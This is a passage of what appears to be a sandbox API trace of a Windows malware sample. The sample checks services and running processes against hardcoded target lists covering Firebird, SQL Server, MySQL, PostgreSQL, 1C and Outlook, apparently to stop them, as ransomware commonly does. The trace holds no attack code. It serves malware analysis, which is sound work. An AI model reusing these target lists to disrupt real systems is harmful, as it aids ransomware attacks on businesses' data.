8 [0070.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0070.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0070.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0070.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0070.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0070.729] lstrlenW (lpString="SENS") returned 4 [0070.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0070.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0070.729] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0070.729] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0070.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0070.729] lstrlenW (lpString="ShellHWDetection") returned 16 [0070.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.729] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0070.729] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0070.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0070.729] lstrlenW (lpString="Spooler") returned 7 [0070.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0070.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0070.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0070.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0070.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0070.729] lstrlenW (lpString="SysMain") returned 7 [0070.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0070.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0070.729] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0070.729] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0070.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0070.730] lstrlenW (lpString="Themes") returned 6 [0070.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0070.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0070.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0070.730] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0070.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0070.730] lstrlenW (lpString="TrkWks") returned 6 [0070.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0070.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0070.730] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0070.730] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0070.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0070.730] lstrlenW (lpString="UxSms") returned 5 [0070.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0070.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0070.730] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0070.730] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0070.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0070.730] lstrlenW (lpString="VSS") returned 3 [0070.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0070.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0070.730] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0070.730] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0070.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0070.730] lstrlenW (lpString="WdiServiceHost") returned 14 [0070.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0070.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0070.730] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0070.730] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0070.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0070.730] lstrlenW (lpString="WdiSystemHost") returned 13 [0070.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0070.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0070.730] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0070.730] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0070.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0070.731] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0070.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0070.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0070.731] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0070.731] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0070.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0070.731] lstrlenW (lpString="Winmgmt") returned 7 [0070.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0070.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0070.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0070.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0070.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0070.731] lstrlenW (lpString="WPDBusEnum") returned 10 [0070.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0070.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0070.731] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0070.731] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0070.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0070.731] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x395c758 | out: hHeap=0x4b0000) returned 1 [0070.731] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0070.737] Process32FirstW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.737] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0070.737] lstrlenW (lpString="System") returned 6 [0070.737] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0070.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0070.737] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0070.737] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0070.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0070.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0070.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0070.738] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0070.738] lstrlenW (lpString="smss.exe") returned 8 [0070.738] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0070.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0070.738] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0070.738] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0070.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0070.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0070.738] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0070.738] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.738] lstrlenW (lpString="csrss.exe") returned 9 [0070.738] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0070.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0070.738] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0070.738] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0070.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0070.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0070.738] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0070.738] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0070.739] lstrlenW (lpString="wininit.exe") returned 11 [0070.739] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0070.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0070.739] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0070.739] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0070.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0070.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0070.739] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0070.739] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.739] lstrlenW (lpString="csrss.exe") returned 9 [0070.739] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0070.739] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0070.740] lstrlenW (lpString="winlogon.exe") returned 12 [0070.740] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0070.740] lstrlenW (lpString="services.exe") returned 12 [0070.740] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0070.741] lstrlenW (lpString="lsass.exe") returned 9 [0070.741] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0070.741] lstrlenW (lpString="lsm.exe") returned 7 [0070.741] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.741] lstrlenW (lpString="svchost.exe") returned 11 [0070.741] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.742] lstrlenW (lpString="svchost.exe") returned 11 [0070.742] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.742] lstrlenW (lpString="svchost.exe") returned 11 [0070.742] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.742] lstrlenW (lpString="svchost.exe") returned 11 [0070.742] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.743] lstrlenW (lpString="svchost.exe") returned 11 [0070.743] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0070.743] lstrlenW (lpString="audiodg.exe") returned 11 [0070.743] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.743] lstrlenW (lpString="svchost.exe") returned 11 [0070.743] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.744] lstrlenW (lpString="svchost.exe") returned 11 [0070.744] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0070.744] lstrlenW (lpString="dwm.exe") returned 7 [0070.744] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0070.744] lstrlenW (lpString="explorer.exe") returned 12 [0070.744] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0070.745] lstrlenW (lpString="spoolsv.exe") returned 11 [0070.745] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.745] lstrlenW (lpString="svchost.exe") returned 11 [0070.745] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.745] lstrlenW (lpString="taskhost.exe") returned 12 [0070.745] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0070.745] lstrlenW (lpString="taskeng.exe") returned 11 [0070.746] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0070.746] lstrlenW (lpString="communist_nick.exe") returned 18 [0070.746] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0070.746] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0070.746] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0070.746] lstrlenW (lpString="prize.exe") returned 9 [0070.746] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0070.747] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0070.747] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0070.747] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0070.747] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0070.747] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0070.747] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0070.748] lstrlenW (lpString="prospects.exe") returned 13 [0070.748] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0070.748] lstrlenW (lpString="signalpackard.exe") returned 17 [0070.748] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0070.748] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0070.748] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0070.749] lstrlenW (lpString="release.exe") returned 11 [0070.749] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0070.749] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0070.749] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0070.749] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0070.749] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0070.749] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0070.750] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0070.750] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0070.750] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0070.750] lstrlenW (lpString="stickers_nations.exe") returned 20 [0070.750] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0070.750] lstrlenW (lpString="initiated-scary.exe") returned 19 [0070.750] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0070.751] lstrlenW (lpString="3dftp.exe") returned 9 [0070.751] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0070.751] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0070.751] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0070.751] lstrlenW (lpString="alftp.exe") returned 9 [0070.751] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0070.752] lstrlenW (lpString="barca.exe") returned 9 [0070.752] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0070.752] lstrlenW (lpString="bitkinex.exe") returned 12 [0070.752] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0070.752] lstrlenW (lpString="coreftp.exe") returned 11 [0070.752] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0070.753] lstrlenW (lpString="far.exe") returned 7 [0070.753] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 